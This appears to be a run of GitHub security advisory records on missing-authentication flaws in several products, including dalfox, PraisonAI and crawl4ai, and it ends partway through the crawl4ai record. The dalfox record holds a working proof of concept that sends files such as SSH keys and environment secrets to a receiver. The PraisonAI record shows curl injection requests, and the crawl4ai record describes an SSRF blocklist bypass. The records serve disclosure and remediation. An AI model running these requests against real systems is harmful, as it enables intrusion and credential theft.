CWE-306

{
  "affected": [],
  "aliases": [
    "CVE-2026-0611"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-02T17:16:25Z",
    "severity": "CRITICAL"
  },
  "details": "Spacelabs Healthcare Sentinel versions 10.5.x and higher and 11.x.x before 11.6.0 contain an unauthenticated remote code execution vulnerability through a deprecated .NET Remoting HTTP channel exposed on port 8989 that allows attackers to perform arbitrary file read and write operations by supplying valid .NET URI endpoints. Attackers can write ASPX webshells to the IIS wwwroot directory to achieve unauthenticated remote code execution on the system. Port 8989 is not exposed in a default Sentinel installation; exploitation requires that the .NET Remoting port has been explicitly made network-accessible through deliberate configuration or network policy changes.",
  "id": "GHSA-344f-p6q5-rw6q",
  "modified": "2026-06-02T18:31:33Z",
  "published": "2026-06-02T18:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0611"
    },
    {
      "type": "WEB",
      "url": "https://spacelabshealthcare.com/products/diagnostic-cardiology/connectivity/sentinel"
    },
    {
      "type": "WEB",
      "url": "https://spacelabshealthcare.com/wp-content/uploads/2026/06/079-0273-00-RevA-Security-Advisory-Sentinel-.NET-Remoting-Vulnerability.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/spacelabs-healthcare-sentinel-x-unauthenticated-rce-via-net-remoting"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-28899"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-16T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The Web CGI Script on ZyXEL LTE4506-M606 V1.00(ABDO.2)C0 devices does not require authentication, which allows remote unauthenticated attackers (via crafted JSON action data to /cgi-bin/gui.cgi) to use all features provided by the router. Examples: change the router password, retrieve the Wi-Fi passphrase, send an SMS message, or modify the IP forwarding to access the internal network.",
  "id": "GHSA-345j-gpg7-fhmx",
  "modified": "2022-05-24T17:44:37Z",
  "published": "2022-05-24T17:44:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28899"
    },
    {
      "type": "WEB",
      "url": "https://www.zyxel.com/support/Zyxel-security-advisory-for-CGI-vulnerability-of-LTE.shtml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-1573"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-04T09:15:03Z",
    "severity": "MODERATE"
  },
  "details": "Improper Authentication vulnerability in the mobile monitoring feature of ICONICS GENESIS64 versions 10.97 to 10.97.2, Mitsubishi Electric GENESIS64 versions 10.97 to 10.97.2 and Mitsubishi Electric MC Works64 all versions allows a remote unauthenticated attacker to bypass proper authentication and log in to the system when all of the following conditions are met:  *  Active Directory is used in the security setting.\n  *  \u201cAutomatic log in\u201d option is enabled in the security setting.\n  *  The IcoAnyGlass IIS Application Pool is running under an Active Directory Domain Account.\n  *  The IcoAnyGlass IIS Application Pool account is included in GENESIS64TM and MC Works64 Security and has permission to log in.",
  "id": "GHSA-34qf-4246-phgf",
  "modified": "2026-04-14T00:31:11Z",
  "published": "2024-07-04T09:32:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1573"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/vu/JVNVU98894016"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-184-03"
    },
    {
      "type": "WEB",
      "url": "https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2024-004_en.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.mitsubishielectric.com/psirt/vulnerability/pdf/2024-004_en.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-46006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-30T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In Totolink A3100R V5.9c.4577, \"test.asp\" contains an API-like function, which is not authenticated. Using this function, an attacker can configure multiple settings without authentication.",
  "id": "GHSA-34v3-w4c4-qr24",
  "modified": "2022-04-06T00:01:43Z",
  "published": "2022-04-01T00:00:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46006"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/vS-OfUEzSqqKh8e1PKce5A"
    },
    {
      "type": "WEB",
      "url": "http://a3100r.com"
    },
    {
      "type": "WEB",
      "url": "http://totolink.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-34908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-27T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in the A4N (Aremis 4 Nomad) application 1.5.0 for Android. It possesses an authentication mechanism; however, some features do not require any token or cookie in a request. Therefore, an attacker may send a simple HTTP request to the right endpoint, and obtain authorization to retrieve application data.",
  "id": "GHSA-34vj-fgrq-mq4v",
  "modified": "2025-05-30T18:30:46Z",
  "published": "2023-02-27T15:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34908"
    },
    {
      "type": "WEB",
      "url": "https://cds.thalesgroup.com/en/tcs-cert/CVE-2022-34908"
    },
    {
      "type": "WEB",
      "url": "https://excellium-services.com/cert-xlm-advisory/CVE-2022-34908"
    },
    {
      "type": "WEB",
      "url": "https://www.aremis.com/en_GB/welcome"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "matrix-appservice-bridge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32659"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-16T20:08:37Z",
    "nvd_published_at": "2021-06-16T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nIf a bridge has room upgrade handling turned on in the configuration (the `roomUpgradeOpts` key when instantiating a new `Bridge` instance.), any `m.room.tombstone` event it encounters will be used to unbridge the current room and bridge into the target room. However, the target room `m.room.create` event is not checked to verify if the `predecessor` field contains the previous room. This means that any mailcious admin of a bridged room can repoint the traffic to a different room without the new room being aware.\n\n\n### Patches\n\nVersions 2.6.1 and greater are patched.\n\n### Workarounds\n\nDisabling the automatic room upgrade handling can be done by removing the `roomUpgradeOpts` key from the `Bridge` class options. \n\n### References\n\nThe issue is patched by https://github.com/matrix-org/matrix-appservice-bridge/pull/330\n\n### For more information]\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.",
  "id": "GHSA-35g4-qx3c-vjhx",
  "modified": "2021-06-16T20:08:37Z",
  "published": "2021-06-21T17:09:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/matrix-appservice-bridge/security/advisories/GHSA-35g4-qx3c-vjhx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32659"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/matrix-appservice-bridge/pull/330"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/matrix-appservice-bridge/commit/b69e745584a34fcfd858df33e4631e420da07b9f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/matrix-appservice-bridge/releases/tag/2.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Automatic room upgrade handling can be used maliciously to bridge a room non-consentually "
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.48"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:52:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe SSE (Server-Sent Events) server in `src/praisonai-agents/praisonaiagents/server/server.py` exposes a `/publish` endpoint that broadcasts arbitrary messages to all connected clients without any authentication. The `ServerConfig` dataclass (line 24) defines an `auth_token` field, but this token is never validated in the `/publish` or `/events` request handlers. Any attacker with access to the SSE server port can inject arbitrary events into the SSE stream visible to all connected clients, or use `/info` to leak server configuration including connected client count.\n\n## Details\n\n**Vulnerable code (lines 164\u2013180):**\n```python\nasync def publish(request):\n    try:\n        data = await request.json()\n        event_type = data.get(\"type\", \"message\")\n        event_data = data.get(\"data\", {})\n\n        self.broadcast(event_type, event_data)\n\n        return JSONResponse({\n            \"success\": True,\n            \"clients\": len(self._clients),\n        })\n```\n\nThe `auth_token` field in `ServerConfig` (line 31):\n```python\n@dataclass\nclass ServerConfig:\n    ...\n    auth_token: Optional[str] = None\n```\n\nThis `auth_token` is **never referenced** in any request handler. The `/publish` endpoint processes any POST request regardless of authentication headers. The `/info` endpoint (line 182) also has no auth and returns server configuration including `self.config.to_dict()`.\n\n**Routes registration (lines 190\u2013194):**\n```python\nroutes = [\n    Route(\"/health\", health, methods=[\"GET\"]),\n    Route(\"/events\", events, methods=[\"GET\"]),\n    Route(\"/publish\", publish, methods=[\"POST\"]),\n    Route(\"/info\", info, methods=[\"GET\"]),\n]\n```\n\nNo authentication middleware or token validation is applied to any route.\n\n## PoC\n\n**Setup:** Start the SSE server (default port 8765). This is the documented server mode for streaming agent events.\n\n**Positive trigger \u2014 unauthenticated event injection:**\n```bash\n# From any network-reachable host:\ncurl -X POST http://localhost:8765/publish \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"type\": \"message\", \"data\": {\"text\": \"INJECTED: arbitrary content sent to all clients\"}}\u0027\n```\n\n**Expected response:**\n```json\n{\"success\": true, \"clients\": 3}\n```\n\nThe response confirms the injection was broadcast to all connected SSE clients, and leaks the number of connected clients.\n\n**Positive trigger \u2014 info leak:**\n```bash\ncurl http://localhost:8765/info\n```\n\n**Expected response:**\n```json\n{\n  \"name\": \"PraisonAI Agent Server\",\n  \"version\": \"1.0.0\",\n  \"clients\": 3,\n  \"config\": {\n    \"host\": \"127.0.0.1\",\n    \"port\": 8765,\n    \"auth_token\": \"***\",\n    ...\n  }\n}\n```\n\n**Negative control \u2014 if auth were enforced:**\nA request without a valid `Authorization: Bearer \u003ctoken\u003e` header should return 401 Unauthorized. Currently, it returns 200 OK with no auth check.\n\n**Cleanup:** No persistent changes.\n\n## Impact\n\nAn attacker with access to the SSE server port (default 8765, bound to `127.0.0.1` by default per `DEFAULT_HOST` at line 21) can:\n\n- **Inject arbitrary events** into the SSE stream, potentially causing connected client applications to process malicious data, trigger actions, or display misleading content\n- **Leak server configuration** including number of connected clients and server settings via `/info`\n- **Use the response** to confirm connected client count, enabling reconnaissance\n\nWhile the default binds to localhost, deployments in containers or cloud environments commonly override the host to `0.0.0.0` to allow external access. When the host is overridden, this is exploitable from the network without authentication.\n\n## Suggested remediation\n\n1. **Validate `auth_token`** in the `/publish` and `/events` handlers:\n```python\nasync def publish(request):\n    token = request.headers.get(\"Authorization\", \"\").replace(\"Bearer \", \"\")\n    if self.config.auth_token and token != self.config.auth_token:\n        return JSONResponse({\"error\": \"Unauthorized\"}, status_code=401)\n    # ... proceed with broadcast\n```\n\n2. Apply the same token validation to `/events` (for reading) and `/info`.\n\n3. The default binding to `127.0.0.1` is appropriate; maintain this default and warn when overridden to `0.0.0.0`.\n\n4. Document the `auth_token` configuration option and recommend setting it in production.",
  "id": "GHSA-35w5-pcw4-jx94",
  "modified": "2026-07-20T21:25:52Z",
  "published": "2026-06-18T13:52:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-35w5-pcw4-jx94"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Unauthenticated Event Injection via SSE `/publish` Endpoint"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hahwul/dalfox/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45088"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-552",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T15:08:13Z",
    "nvd_published_at": "2026-05-27T18:16:24Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nWhen dalfox is run in REST API server mode, the `custom-payload-file` field in `model.Options` is JSON-tagged and deserialized directly from the attacker\u0027s request body, then propagated unchanged through `dalfox.Initialize` into the scan engine. The engine passes the value to `voltFile.ReadLinesOrLiteral`, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n- **Attack Vector:** Network \u2014 server binds to `0.0.0.0:6664` by default; reachable by any network peer.\n- **Attack Complexity:** Low \u2014 no preconditions beyond network access; `skip-discovery` and `param` are both attacker-supplied, so the code path is fully under attacker control.\n- **Privileges Required:** None \u2014 `--api-key` defaults to `\"\"`, so the auth middleware is not registered.\n- **User Interaction:** None.\n- **Scope:** Unchanged \u2014 the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.\n- **Confidentiality Impact:** High \u2014 the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, `/etc/passwd`, etc.\n- **Integrity Impact:** None \u2014 this path is read-only.\n- **Availability Impact:** None.\n\n## Affected Component\n\n- `cmd/server.go` \u2014 `init()` (line 51): `--api-key` defaults to `\"\"` \u2014 no auth by default\n- `pkg/server/server.go` \u2014 `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != \"\"`\n- `pkg/server/server.go` \u2014 `postScanHandler()` (lines 173\u2013191): `rq.Options` (including `CustomPayloadFile`) passed to `ScanFromAPI` without sanitization\n- `lib/func.go` \u2014 `Initialize()` (line 117): `CustomPayloadFile` explicitly propagated from caller options\n- `pkg/scanning/scan.go` \u2014 anonymous block (lines 341\u2013368): `voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)` reads file; contents injected into outbound requests\n\n## CWE\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **CWE-73**: External Control of File Name or Path\n- **CWE-552**: Files or Directories Accessible to External Parties\n\n## Description\n\n### `custom-payload-file` Is Fully Attacker-Controlled\n\n`model.Options` exposes `CustomPayloadFile` with a JSON tag:\n\n```go\n// pkg/model/options.go:33\nCustomPayloadFile string `json:\"custom-payload-file,omitempty\"`\n```\n\n`postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`:\n\n```go\n// pkg/server/server.go:173-191\nrq := new(Req)\nif err := c.Bind(rq); err != nil { ... }\ngo ScanFromAPI(rq.URL, rq.Options, *options, sid)\n```\n\n`ScanFromAPI` passes `rqOptions` as `target.Options` to `dalfox.Initialize`:\n\n```go\n// pkg/server/scan.go:22-27\ntarget := dalfox.Target{\n    URL:     url,\n    Method:  rqOptions.Method,\n    Options: rqOptions,\n}\nnewOptions := dalfox.Initialize(target, target.Options)\n```\n\n`Initialize` explicitly copies `CustomPayloadFile` into `newOptions` with no filtering:\n\n```go\n// lib/func.go:117\n\"CustomPayloadFile\": {\u0026newOptions.CustomPayloadFile, options.CustomPayloadFile},\n```\n\n### File Read and Exfiltration Path\n\nIn `pkg/scanning/scan.go`, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:\n\n```go\n// pkg/scanning/scan.go:341-366\nif (options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])) \u0026\u0026 options.CustomPayloadFile != \"\" {\n    ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)\n    if err != nil {\n        printing.DalLog(\"SYSTEM\", \"Failed to load custom XSS payload file\", options)\n    } else {\n        for _, customPayload := range ff {\n            if customPayload != \"\" {\n                for k, v := range params {\n                    if optimization.CheckInspectionParam(options, k) {\n                        ...\n                        tq, tm := optimization.MakeRequestQuery(target, k, customPayload, \"inHTML\"+ptype, \"toAppend\", encoder, options)\n                        query[tq] = tm\n                    }\n                }\n            }\n        }\n    }\n}\n```\n\nEach line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. `performScanning` then dispatches every entry in the `query` map via `SendReq`, delivering the file\u0027s contents to the attacker\u0027s server as the value of the nominated parameter (e.g., `?q=\u003cfile-line\u003e`).\n\n### Condition Is Trivially Satisfiable\n\nThe condition `options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])` is satisfied by setting `skip-discovery: true` in the JSON request body \u2014 a field the attacker fully controls. When `SkipDiscovery` is true, the engine also requires at least one parameter via `UniqParam` (the `-p` flag), which the attacker supplies as `param: [\"q\"]`. The code then hardcodes `policy[\"Content-Type\"] = \"text/html\"` and populates `params[\"q\"]` automatically:\n\n```go\n// pkg/scanning/scan.go:224-240\nif len(options.UniqParam) == 0 {\n    return scanResult, fmt.Errorf(\"--skip-discovery requires parameters to be specified with -p flag\")\n}\nfor _, paramName := range options.UniqParam {\n    params[paramName] = model.ParamResult{\n        Name: paramName, Type: \"URL\", Reflected: true, Chars: payload.GetSpecialChar(),\n    }\n}\npolicy[\"Content-Type\"] = \"text/html\"\n```\n\nBoth conditions are fully attacker-controlled through the JSON request body.\n\n### No Defense at Any Layer\n\nThe same opt-in API key guard from the first finding applies identically here:\n\n```go\n// pkg/server/server.go:68-70\nif options.ServerType == \"rest\" \u0026\u0026 options.APIKey != \"\" {\n    e.Use(apiKeyAuth(options.APIKey, options))\n}\n```\n\nWith the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no `IsAPI` guard around the `CustomPayloadFile` read.\n\n## Proof of Concept\n\n```bash\n# Step 1 \u2014 Attacker-controlled receiver (logs q= parameter to stdout)\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        q = parse_qs(urlparse(self.path).query).get(\u0027q\u0027, [\u0027\u0027])[0]\n        print(\"[RECEIVED] q =\", q, flush=True)\n        body = b\u0027\u003chtml\u003e\u003cbody\u003eok\u003c/body\u003e\u003c/html\u003e\u0027\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027, \u0027text/html\u0027)\n        self.send_header(\u0027Content-Length\u0027, str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n    def log_message(self, *a): pass\nHTTPServer((\u0027127.0.0.1\u0027, 18081), H).serve_forever()\nPY\n\n# Step 2 \u2014 Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 \u2014 Exfiltrate /etc/hostname (or any file readable by the dalfox process)\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\n    \"url\": \"http://127.0.0.1:18081/?q=test\",\n    \"options\": {\n      \"custom-payload-file\": \"/etc/hostname\",\n      \"only-custom-payload\": true,\n      \"skip-discovery\": true,\n      \"param\": [\"q\"],\n      \"use-headless\": false,\n      \"worker\": 1\n    }\n  }\u0027\n\n# Expected output on the receiver (Step 1 terminal):\n# [RECEIVED] q = myhostname.local\n\n# For multi-line files (e.g. /etc/passwd), each line arrives as a separate request\n```\n\nNo `X-API-KEY` header is required. Replace `/etc/hostname` with any file path accessible to the dalfox process (e.g., `~/.ssh/id_rsa`, `/run/secrets/db_password`, `/proc/self/environ`).\n\n## Impact\n\n- **Arbitrary file read** on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, `.env` files, cloud credential files, `/proc/self/environ`) can be exfiltrated one line at a time.\n- **No authentication required** under the default configuration.\n- The exfiltration channel is the dalfox host\u0027s own outbound HTTP scan traffic \u2014 no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call.\n- Combined with the `found-action` RCE finding (separate issue), an attacker could first read `/proc/self/environ` to harvest secrets, then execute commands.\n\n## Recommended Remediation\n\n### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)\n\nApply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers:\n\n```go\n// pkg/server/server.go \u2014 in postScanHandler, before ScanFromAPI:\nrq.Options.CustomPayloadFile = \"\"\nrq.Options.CustomBlindXSSPayloadFile = \"\"\nrq.Options.FoundAction = \"\"\nrq.Options.FoundActionShell = \"\"\nrq.Options.OutputFile = \"\"\nrq.Options.HarFilePath = \"\"\n```\n\n### Option 2: Require `--api-key` at server startup\n\nMake authentication mandatory and refuse to start without it:\n\n```go\n// cmd/server.go \u2014 in runServerCmd:\nif serverType == \"rest\" \u0026\u0026 apiKey == \"\" {\n    fmt.Fprintln(os.Stderr, \"ERROR: --api-key is required when running in REST server mode.\")\n    os.Exit(1)\n}\n```\n\nBoth options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem.\n\n##Credit\n\nEmmanuel David\n\nGithub:- https://github.com/drmingler",
  "id": "GHSA-35wr-x7v6-9fv2",
  "modified": "2026-06-08T23:50:09Z",
  "published": "2026-05-12T15:08:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-35wr-x7v6-9fv2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45088"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hahwul/dalfox"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dalfox Server Mode has an Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via `custom-payload-file`"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-27020"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-08T10:16:01Z",
    "severity": "CRITICAL"
  },
  "details": "Improper configuration of the SSH service in Infinera MTC-9 allows an unauthenticated attacker to execute arbitrary commands and access data on file system\n\n.\n\n\nThis issue affects MTC-9: from R22.1.1.0275 before R23.0.",
  "id": "GHSA-3645-f6qv-w99w",
  "modified": "2025-12-08T12:30:25Z",
  "published": "2025-12-08T12:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27020"
    },
    {
      "type": "WEB",
      "url": "https://www.cvcn.gov.it/cvcn/cve/CVE-2025-27020"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "crawl4ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56266"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-306",
      "CWE-79",
      "CWE-798",
      "CWE-918",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T20:13:30Z",
    "nvd_published_at": "2026-06-22T22:16:50Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nMultiple security vulnerabilities in the Crawl4AI Docker API server affecting endpoints for crawling, markdown/LLM extraction, screenshots, PDFs, webhooks, monitoring, JavaScript execution, and configuration.\n\n### Vulnerabilities\n\n#### 1. Arbitrary File Write via /screenshot and /pdf (CWE-22, CVSS 9.1)\n\nThe `output_path` parameter accepts arbitrary filesystem paths with no validation. An attacker can overwrite server files (DoS) or write to any appuser-writable location.\n\n**Fix:** Added `validate_output_path()` restricting writes to `CRAWL4AI_OUTPUT_DIR` (/tmp/crawl4ai-outputs by default). Added Pydantic `field_validator` rejecting `..` traversal sequences.\n\n#### 2. SSRF via Webhook URL (CWE-918, CVSS 8.6)\n\nWebhook URLs in `/crawl/job` and `/llm/job` accept internal/private IPs with no validation, enabling Server-Side Request Forgery against cloud metadata endpoints (169.254.169.254), internal services, and Docker networks.\n\n**Fix:** Added `validate_webhook_url()` with blocklist for RFC 1918, loopback, link-local, cloud metadata IPs and hostnames. Validation at both job submission and send time. Explicit `follow_redirects=False`.\n\n#### 3. Authentication Bypass on Monitor Endpoints (CWE-306, CVSS 6.5)\n\nThe monitor router was mounted without `token_dep` dependency, making all monitoring endpoints (including destructive ones like `/monitor/actions/cleanup`) accessible without authentication.\n\n**Fix:** Added `dependencies=[Depends(token_dep)]` to monitor router. Added explicit token check on WebSocket `/monitor/ws` endpoint.\n\n#### 4. Stored XSS in Monitor Dashboard (CWE-79, CVSS 6.1)\n\nURLs and error messages rendered in the monitor dashboard via `innerHTML` without escaping, enabling stored XSS via crafted crawl URLs.\n\n**Fix:** Server-side `html.escape()` on URL and error storage. Client-side `escapeHtml()` wrapper on all `innerHTML` template injections.\n\n#### 5. Arbitrary JavaScript Execution via /execute_js (CWE-94, CVSS 8.1)\n\nThe `/execute_js` endpoint accepts and executes arbitrary JavaScript in the server\u0027s browser with `--disable-web-security` enabled, combining arbitrary JS execution with SSRF capability.\n\n**Fix:** Disabled by default via `CRAWL4AI_EXECUTE_JS_ENABLED` env var. Added SSRF blocklist on destination URL. Removed `--disable-web-security` from default browser args.\n\n#### 6. Hardcoded JWT Secret Key (CWE-798, CVSS 9.8)\n\nThe JWT signing key defaults to `\"mysecret\"` in the public source code, allowing anyone to forge valid authentication tokens.\n\n**Fix:** Removed default value. Added startup validation rejecting weak/short secrets. Auto-generates ephemeral key when JWT enabled but no key set.\n\n#### 7. SSRF via Direct Crawl Endpoints /crawl, /md, /llm (CWE-918, CVSS 8.6)\n\nThe primary crawl entry points (`/crawl`, `/crawl/stream`, `/md`, `/llm`) fetch arbitrary user-supplied URLs with no destination validation, enabling Server-Side Request Forgery against internal services, Docker networks, and cloud metadata endpoints (169.254.169.254). A blocklist that only inspects the literal hostname is additionally bypassable via IPv6-mapped IPv4 addresses (e.g. `[::ffff:169.254.169.254]`, `[::ffff:10.0.0.1]`), which resolve to the blocked private/metadata ranges but evade a naive string check.\n\n**Fix:** Added URL destination validation on all crawl/md/llm entry points, reusing the SSRF blocklist (RFC 1918, loopback, link-local, cloud-metadata IPs and hostnames). IPv6-mapped IPv4 addresses are normalized to their IPv4 form before the blocklist check, closing the mapping bypass. 